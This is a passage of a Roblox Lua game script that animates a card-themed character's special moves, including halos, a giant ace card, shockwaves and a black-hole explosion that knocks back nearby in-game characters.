RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.sin(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.sin(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3) end end end)() coroutine.wrap(function() for i = 1, 40 do LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0),.5) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.2,1.5,0) * CFrame.Angles(math.rad(180 - 7 * math.sin(sine/6)),math.rad(7 * math.sin(sine/6)),math.rad(7*math.sin(sine/6))), 0.5) swait() end end)() haloh = Instance.new("Part", Torso) haloh.Size = Vector3.new(1,1,1) haloh.Anchored = false haloh.Transparency = 1 haloh.CanCollide = false halohweld = weldBetween(haloh,Torso) halohweld.C0 = CFrame.new(0,0,0) n = 0 x = 0 tab={} tab2={} SOUND(Torso,1882057730,6,false,2) for i = 1, 20 do n = n + 20 x = x + 5 halo = Instance.new("Part", Torso) halo.Size = Vector3.new(0.71, 0.07, 0.99) halo.Transparency = 1 halo.CanCollide = false halo.Material = "Neon" halo.BrickColor = BrickColor.new("White") halow = weldBetween(halo,haloh) halow.C0 = CFrame.new(-4,0,0) * CFrame.Angles(math.rad(90),math.rad(n),math.rad(0)) table.insert(FadeIn,halo) table.insert(tab,halow) table.insert(tab2,halo) wait() end ws = 10 clickdisallowance = false coroutine.wrap(function() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) while notallowed do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) swait() end end)() coroutine.wrap(function() mouse.Button1Down:connect(function() if clickdisallowance then return end if clickdebounce then return end wait(.2) clickdebounce = true notallowed = false end) end)() while notallowed do for i,v in pairs(tab) do v.C0 = v.C0 * CFrame.Angles(math.rad(0),math.rad(0 + 1.2),math.rad(0)) end swait() end appi = false ws = 0 for i = 1, 15 do RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(50), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end for i,v in pairs(tab) do v:Remove() end for i,v in pairs(tab2) do removeuseless:AddItem(v,6) MAKETRAIL(v,Vector3.new(.1,0,0),Vector3.new(-.1,0,0),.8,ColorSequence.new(BrickColor.new("White").Color,BrickColor.new("Really black").Color)) BodyGyro=Instance.new('BodyGyro',v) BodyGyro.maxTorque=Vector3.new(math.huge,math.huge,math.huge) BodyGyro.P=2e4 removeuseless:AddItem(BodyGyro,.1) PB2 = Instance.new("BodyVelocity", v) PB2.MaxForce = Vector3.new(999999, 999999, 999999) v.CFrame = CFrame.new(v.Position,mouse.Hit.p) PB2.Velocity = v.CFrame.lookVector * 80 end SOUND(Torso,1499747506,3,false,1) for i,v in pairs(tab2) do v.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then if damagedebounce == true then return end damagedebounce = true Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid") tor = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")SOUND(tor,694703797,6,false,1) wait(.1) damagedebounce = false end end) end for i = 1, 20 do RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-25), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-15), math.rad(4)), 0.3) swait() end clean() g1:Remove() haloh:Remove() attacking = false debounce = false damagedebounce = false clickdebounce = false appi = false ws = 10 end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='y' then if levitate then return end if debounce then return end clickdisallowance = true clickdebounce = false debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() bigcard = Instance.new("Part",Torso) bigcard.Material = "Neon" bigcard.Transparency = 1 bigcard.BrickColor = BrickColor.new("White") bigcard.Size = Vector3.new(15.65, 23.84, 0.3) bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0) bigcard.Anchored = true SOUND(bigcard,236989198,6,false,1) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",bigcard) acer.Texture = "rbxassetid://"..ace acer.Transparency = 1 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = bigcard ace2.Face = "Back" table.insert(FadeIn,acer) table.insert(FadeIn,ace2) table.insert(FadeIn,bigcard) for i = 1, 30 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end ws = 10 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) clickdisallowance = false coroutine.wrap(function() mouse.Button1Down:connect(function() if clickdisallowance then return end if clickdebounce then return end wait(.2) clickdebounce = true end) end)() while not clickdebounce do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10 + 2 *math.sin(sine/12)),math.rad(10 - 2*math.sin(sine/12))),.3) swait() end g1:Remove() ws = 0 for i = 1, 13 do bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,18,3) * CFrame.Angles(math.rad(10),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0.2) * CFrame.Angles(math.rad(160),math.rad(10),math.rad(10)),.3) swait() end locationpart = Instance.new("Part",bigcard) locationpart.Size = Vector3.new(1,1,1) locationpart.Transparency = 1 locationpart.CanCollide = false locationpart.Anchored = true locationpart.CFrame = Root.CFrame * CFrame.new(0,-3,-21) shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = CFrame.new(locationpart.Position) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(5,2,5) shockwavemesh.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave,4) shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 shockwave2.BrickColor = BrickColor.new("White") shockwave2.CFrame = CFrame.new(locationpart.Position) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(5,2,5) shockwavemesh2.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave2,4) shockwave3 = Instance.new("Part", Torso) shockwave3.Size = Vector3.new(1,1,1) shockwave3.CanCollide = false shockwave3.Anchored = true shockwave3.Transparency = 0 shockwave3.BrickColor = BrickColor.new("White") shockwave3.CFrame = CFrame.new(locationpart.Position) shockwavemesh3 = Instance.new("SpecialMesh", shockwave3) shockwavemesh3.Scale = Vector3.new(5,2,5) shockwavemesh3.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave3,4) shockwave4 = Instance.new("Part", Torso) shockwave4.Size = Vector3.new(1,1,1) shockwave4.CanCollide = false shockwave4.Anchored = true shockwave4.Transparency = 0 shockwave4.BrickColor = BrickColor.new("White") shockwave4.CFrame = CFrame.new(locationpart.Position) shockwavemesh4 = Instance.new("SpecialMesh", shockwave4) shockwavemesh4.Scale = Vector3.new(5,2,5) shockwavemesh4.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave4,4) Hit = damagealll(20,locationpart.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(locationpart.Position,torso.Position).lookVector*110 removeuseless:AddItem(vel,.1) end coroutine.wrap(function() for i = 1, 90 do shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(1.5,.1,1.5) shockwave.Transparency = shockwave.Transparency + 0.025 shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+6),0) shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(1.25,.25,1.25) shockwave2.Transparency = shockwave2.Transparency + 0.04 shockwave3.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwavemesh3.Scale = shockwavemesh3.Scale + Vector3.new(.75,.75,.75) shockwave3.Transparency = shockwave3.Transparency + 0.035 shockwave4.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+5),0) shockwavemesh4.Scale = shockwavemesh3.Scale + Vector3.new(2.5,.5,2.5) shockwave4.Transparency = shockwave3.Transparency + 0.03 swait() end end)() SOUND(locationpart,765590102,6,false,2) for i = 1, 24 do bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,-3,-21) * CFrame.Angles(math.rad(90),0,0),.25) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.2,.2,.2) * CFrame.Angles(0,0,0),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1, 1.1, 0.4) * CFrame.Angles(math.rad(-75), math.rad(15), math.rad(4)), 0.5) swait() end for i = 1, 40 do bigcard.Transparency = bigcard.Transparency + 0.2 acer.Transparency = acer.Transparency + .2 ace2.Transparency = ace2.Transparency + .2 swait() end attacking = false debounce = false appi = false clickdisallowance = false clickdebounce = false ws = 10 bigcard:Remove() clean() end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='u' then if levitate then return end if mouse.Target ~= nil then end if debounce then return end debounce = true attacking = true appi = true ws = 0 appi = true coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end cardportal = Instance.new("Part", Torso) cardportal.Size = Vector3.new(0.5, 0.5, 0.5) cardportal.Material = "Neon" cardportal.BrickColor = BrickColor.new("White") cardportal.Transparency = 0 cardportal.Anchored = true cardportal.CanCollide = false cardportalMESH = Instance.new("SpecialMesh", cardportal) cardportalMESH.MeshType = "Cylinder" cardportalMESH.Scale = Vector3.new(.2,0.01,0.01) cardportal.CFrame = CFrame.new(mouse.Hit.p) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90)) for i = 1, 10 do cardportalMESH.Scale = cardportalMESH.Scale + Vector3.new(0,4,4) swait() end bigzcard = Instance.new("Part",Torso) bigzcard.Material = "Neon" bigzcard.Transparency = 0 bigzcard.BrickColor = BrickColor.new("White") bigzcard.Size = Vector3.new(10, 15, 0.3) bigzcard.CFrame = cardportal.CFrame * CFrame.new(-8,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90)) bigzcard.Anchored = true SOUND(bigzcard,1888686669,6,false,1) acer = Instance.new("Decal",bigzcard) acer.Texture = "rbxassetid://1881287656" acer.Transparency = 0 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = bigzcard ace2.Face = "Back" spinning = true coroutine.wrap(function() while spinning do bigzcard.CFrame = bigzcard.CFrame * CFrame.Angles(0,math.rad(0+5),0) swait() end end)() for i = 1, 20 do bigzcard.CFrame = bigzcard.CFrame * CFrame.new(0,-.9,0) swait() end coroutine.wrap(function() for i = 1, 10 do cardportalMESH.Scale = cardportalMESH.Scale - Vector3.new(0,4,4) swait() end cardportal:Remove() end)() wait(.7) ace3 = Instance.new("Decal",bigzcard) ace3.Texture = "rbxassetid://1880203893" ace3.Transparency = 1 ace3.Face = "Front" ace4 = ace3:Clone() ace4.Parent = bigzcard ace4.Face = "Back" bigzcard2 = Instance.new("Part",Torso) bigzcard2.Material = "Neon" bigzcard2.Transparency = 1 bigzcard2.BrickColor = BrickColor.new("Really black") bigzcard2.Size = Vector3.new(10, 15, 0.29) bigzcard2.CFrame = bigzcard.CFrame bigzcard2.CanCollide = false bigzcard2.Anchored = true coroutine.wrap(function() while spinning do bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+5),0) swait() end end)() blz = bl[math.random(1,#bl)] woos = Instance.new("Sound",Torso) woos.SoundId = "rbxassetid://"..blz woos.Volume = 4 woos:Play() for i = 1, 20 do bigzcard2.Transparency = bigzcard2.Transparency - .05 bigzcard.Transparency = bigzcard.Transparency + .05 ace3.Transparency = ace3.Transparency - 0.05 ace4.Transparency = ace4.Transparency - 0.05 acer.Transparency = acer.Transparency + 0.05 ace2.Transparency = ace2.Transparency + 0.05 wait() end ace3.Parent = bigzcard2 ace3.Face = "Front" ace4.Parent = bigzcard2 ace4.Face = "Back" bigzcard:Remove() spinning = false blackholeactive = true coroutine.wrap(function() blackhole={} orbzfade={} for i = 1, 100 do orbz = Instance.new("Part", Torso) orbz.Shape = "Ball" orbz.Material = "Neon" orbz.BrickColor = BrickColor.new("Really black") orbz.Size = Vector3.new(2,2,2) orbz.Anchored = true orbz.CanCollide = false removeuseless:AddItem(orbz,1) orbz.CFrame = bigzcard2.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180)) table.insert(blackhole,orbz) table.insert(orbzfade,orbz) for i,v in pairs(blackhole) do v.CFrame = v.CFrame:lerp(CFrame.new(bigzcard2.Position),.05) end for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.025 end swait() end end)() coroutine.wrap(function() while blackholeactive do local Hit = damagealll(45,bigzcard2.Position) for _,v in pairs(Hit) do coroutine.wrap(function() wait(.15) if blackholeactive == false then return end end)() torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") torso.CFrame = torso.CFrame:lerp(CFrame.new(bigzcard2.Position),.1) end wait() end end)() for i = 1, 100 do bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+20),0) cataclysmics = Instance.new("Part", Torso) cataclysmics.Shape = "Ball" cataclysmics.Material = "Neon" cataclysmics.BrickColor = BrickColor.new("Really black") cataclysmics.Size = Vector3.new(11,11,11) cataclysmics.Transparency = .3 cataclysmics.Anchored = true cataclysmics.CanCollide = false cataclysmics.CFrame = CFrame.new(bigzcard2.Position) table.insert(LessSize,cataclysmics) table.insert(keyYtransparency,cataclysmics) removeuseless:AddItem(cataclysmics,1) swait() end coroutine.wrap(function() for i = 1, 20 do for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.05 end swait() end end)() explosiontable={} ringtable={} ringtable2={} soundboks = Instance.new("Part",Torso) soundboks.CanCollide = false soundboks.Anchored = true soundboks.Transparency = 1 soundboks.CFrame = bigzcard2.CFrame removeuseless:AddItem(soundboks,6) SOUND(soundboks,472579737,6,false,1) blackholeactive = false bigzcard2:Remove() Hit = damagealll(60,soundboks.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(soundboks.Position,torso.Position).lookVector*200 removeuseless:AddItem(vel,.1) end coroutine.wrap(function() shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("Really black") shockwave.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(5,2,5) shockwavemesh.MeshId = "rbxassetid://20329976" shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 